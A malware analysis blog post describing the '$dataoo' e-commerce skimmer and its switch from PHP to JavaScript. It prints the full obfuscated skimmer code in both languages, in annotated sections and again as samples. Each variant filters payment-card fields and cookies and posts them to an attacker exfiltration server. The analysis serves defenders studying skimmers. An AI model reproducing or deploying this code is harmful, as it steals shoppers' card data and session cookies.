This post is just a quick example of how attackers can quickly switch between PHP and JavaScript when creating their skimmer. I covered the PHP variant of the $dataoo skimmer a few months ago here.

Big ups to Baryo (@ctrl__esc) for deobfuscating the JavaScript variant of this skimmer! 🦾 🦾

PHP Variant

The PHP variant is the same skimmer I covered here, so I will just briefly review it in this post.

$n74756b5d = implode("_", array("s" . "tr", implode("", array('r', 'o', 't', '', '', '1', '3'))));
$f451099eb = $n74756b5d('o' . 'n' . 'f' . 'r6' . '4_ra' . 'pb' . 'q' . 'r');
$jd78034e7 = $n74756b5d('on' . 'fr' . '6' . '4_qr' . 'pb' . 'qr');
$rd22a4bbd = $n74756b5d('f' . 're' . 'vn' . 'yvm' . 'r');
$t1393d1ff = $n74756b5d('ce' . 'rt' . '_z' . 'n' . 'g' . 'pu');

The first 5 variables are used to set up important PHP functions:

-str_rot13

-base64_encode

-base64_decode

-serialize

-preg_match

These functions are also usually considered suspicious, so they are slightly obfuscated to try and prevent signature detection based scanners from detecting them.

$dataoo = @file_get_contents('php://input');
if (!empty($dataoo)) $dataoo = json_decode($dataoo, true);
else $dataoo = array();
if (is_array($dataoo)) $_REQUEST = array_merge($_REQUEST, $dataoo);

if ($t1393d1ff("/" . $jd78034e7('eWVhcnx' . 'maXJzdG5hbWV' . '8bG9naW58' . 'Y3ZjMnxjY198ZXh' . 'waXJ5fGR1bW' . '15fG1vbnRofG' . 'N2dnxjYX' . 'JkX25' . '1bWJlcnx' . 'zaGlwc' . 'GluZ3x1c' . '2VybmFtZXx' . 'zZWN1cm' . 'V0cmFkaW5nfG' . 'NjX251bW' . 'JlcnxwYXltZW50fG' . 'JpbGxpbmc=') . "/i", $rd22a4bbd($_REQUEST)))
/*
if (preg_match("/year|firstname|login|cvc2|cc_|expiry|dummy|month|cvv|card_number|shipping|username|securetrading|cc_number|payment|billing/i", serialize($_REQUEST))
*/

This section of the PHP skimmer uses a combination of file_get_contents and php://input to capture incoming HTTP requests to the web server, then preg_match is used to check the captured requests for the desired payment data fields that the skimmer wants to steal.

{
    $jd88fc6ed = curl_init();
    curl_setopt($jd88fc6ed, CURLOPT_URL, trim($jd78034e7('aHR0c' . 'DovL2Jh' . 'cmR2Z' . 'W4uY2' . '9tL3' . 'Rlc3' . 'RTZX' . 'J2Z' . 'XIucGhw')));
    curl_setopt($jd88fc6ed, CURLOPT_POST, True);
    curl_setopt($jd88fc6ed, CURLOPT_POSTFIELDS, "ver" . "sio" . "n=1" . "&en" . "co" . "de=" . $f451099eb($rd22a4bbd($_REQUEST) . "--" . $rd22a4bbd($_COOKIE)) . "&h" . "ost=" . $_SERVER["HTTP_HOST"]);
    curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($jd88fc6ed, CURLOPT_CONNECTTIMEOUT, 2);
    curl_setopt($jd88fc6ed, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($jd88fc6ed, CURLOPT_TIMEOUT, 5);
    curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYPEER, 0);
    $g7f94dd41 = @curl_exec($jd88fc6ed);
    curl_close($jd88fc6ed);
}

The final section of the PHP skimmer is used for exfiltration of the skimmed data back to the attacker. This is done using the curl function.

JavaScript Variant

So after a few days passed I learned that a new variant of the $dataoo skimmer was detected and after Baryo (@ctrl__esc) deobfuscated the JavaScript it turned out that the skimmer was a type of converted $dataoo skimmer, meaning it went from using PHP to using JavaScript.

It’s entirely possible it went the other way - from JavaScript to PHP, but I haven’t been able to confirm which language was the first one.

let dataoo = fetch('php://input'); // Retrieve raw POST data
if (dataoo) dataoo = JSON.parse(dataoo);
else dataoo = [];
if (Array.isArray(dataoo)) let $_REQUEST = $_REQUEST.concat(dataoo);  // Concat any query strings with post data

Interestingly, the JavaScript variant is able to capture the incoming HTTP requests using the fetch function with php://input (which is what the PHP skimmer used, too).

if (/year|firstname|login|cvc2|cc_|expiry|dummy|month|cvv|card_number|shipping|username|securetrading|cc_number|payment|billing/i.exec(JSON.stringify($_REQUEST))) 

Also like the PHP variant, this JavaScript variant will then check the captured HTTP request data to ensure it contains the desired skimmed payment data.

If it contains the desired payment data then JSON.stringify is used to convert the captured data to JSON format - in preparation for exfiltration.

{
  const jd88fc6ed = new XMLHttpRequest()
  jd88fc6ed.open('POST', 'http://bardven.com/testServer.php');
  jd88fc6ed.send("version=1&encode=" + btoa(JSON.stringify(_REQUEST)) + '--' + JSON.stringify(document.cookie) + '--' + "&host=" + location.hostname);
}

The final section then exfiltrates to the same exfiltration domain except it doesn’t have to use curl like in the PHP variant.

In this case it uses a XMLHttpRequest() method for sending out the POST containing the skimmed payment data.

Similar to the PHP variant - it uses base64 encoding for the skimmed data through the btoa function.

Conclusion

It was pretty interesting to see essentially the same $dataoo skimmer be deployed in both PHP and JavaScript as I had not encountered that before.

One important thing to note is that the JavaScript variant was also obfuscated and at least for me it was more difficult to deobfuscate than the PHP variant.

Samples


<?php
...
$n74756b5d = implode("_", array(
    "s" . "tr",
    implode("", array(
        'r',
        'o',
        't',
        '',
        '',
        '1',
        '3'
    ))
));
$f451099eb = $n74756b5d('o' . 'n' . 'f' . 'r6' . '4_ra' . 'pb' . 'q' . 'r');
$jd78034e7 = $n74756b5d('on' . 'fr' . '6' . '4_qr' . 'pb' . 'qr');
$rd22a4bbd = $n74756b5d('f' . 're' . 'vn' . 'yvm' . 'r');
$t1393d1ff = $n74756b5d('ce' . 'rt' . '_z' . 'n' . 'g' . 'pu');
$dataoo = @file_get_contents('php://input');
if (!empty($dataoo)) $dataoo = json_decode($dataoo, true);
else $dataoo = array();
if (is_array($dataoo)) $_REQUEST = array_merge($_REQUEST, $dataoo);
if ($t1393d1ff("/" . $jd78034e7('eWVhcnx' . 'maXJzdG5hbWV' . '8bG9naW58' . 'Y3ZjMnxjY198ZXh' . 'waXJ5fGR1bW' . '15fG1vbnRofG' . 'N2dnxjYX' . 'JkX25' . '1bWJlcnx' . 'zaGlwc' . 'GluZ3x1c' . '2VybmFtZXx' . 'zZWN1cm' . 'V0cmFkaW5nfG' . 'NjX251bW' . 'JlcnxwYXltZW50fG' . 'JpbGxpbmc=') . "/i", $rd22a4bbd($_REQUEST)))
{
    $jd88fc6ed = curl_init();
    curl_setopt($jd88fc6ed, CURLOPT_URL, trim($jd78034e7('aHR0c' . 'DovL2Jh' . 'cmR2Z' . 'W4uY2' . '9tL3' . 'Rlc3' . 'RTZX' . 'J2Z' . 'XIucGhw')));
    curl_setopt($jd88fc6ed, CURLOPT_POST, True);
    curl_setopt($jd88fc6ed, CURLOPT_POSTFIELDS, "ver" . "sio" . "n=1" . "&en" . "co" . "de=" . $f451099eb($rd22a4bbd($_REQUEST) . "--" . $rd22a4bbd($_COOKIE)) . "&h" . "ost=" . $_SERVER["HTTP_HOST"]);
    curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($jd88fc6ed, CURLOPT_CONNECTTIMEOUT, 2);
    curl_setopt($jd88fc6ed, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($jd88fc6ed, CURLOPT_TIMEOUT, 5);
    curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYPEER, 0);
    $g7f94dd41 = @curl_exec($jd88fc6ed);
    curl_close($jd88fc6ed);
}
...
?>

let dataoo = fetch('php://input'); // Retrieve raw POST data
if (dataoo) dataoo = JSON.parse(dataoo);
else dataoo = [];
if (Array.isArray(dataoo)) let $_REQUEST = $_REQUEST.concat(dataoo); // Concat any query strings with post data
if (/year|firstname|login|cvc2|cc_|expiry|dummy|month|cvv|card_number|shipping|username|securetrading|cc_number|payment|billing/i.exec(JSON.stringify($_REQUEST))) {
    const jd88fc6ed = new XMLHttpRequest()
    jd88fc6ed.open('POST', 'http://bardven.com/testServer.php');
    jd88fc6ed.send("version=1&encode=" + btoa(JSON.stringify(_REQUEST)) + '--' + JSON.stringify(document.cookie) + '--' + "&host=" + location.hostname);
}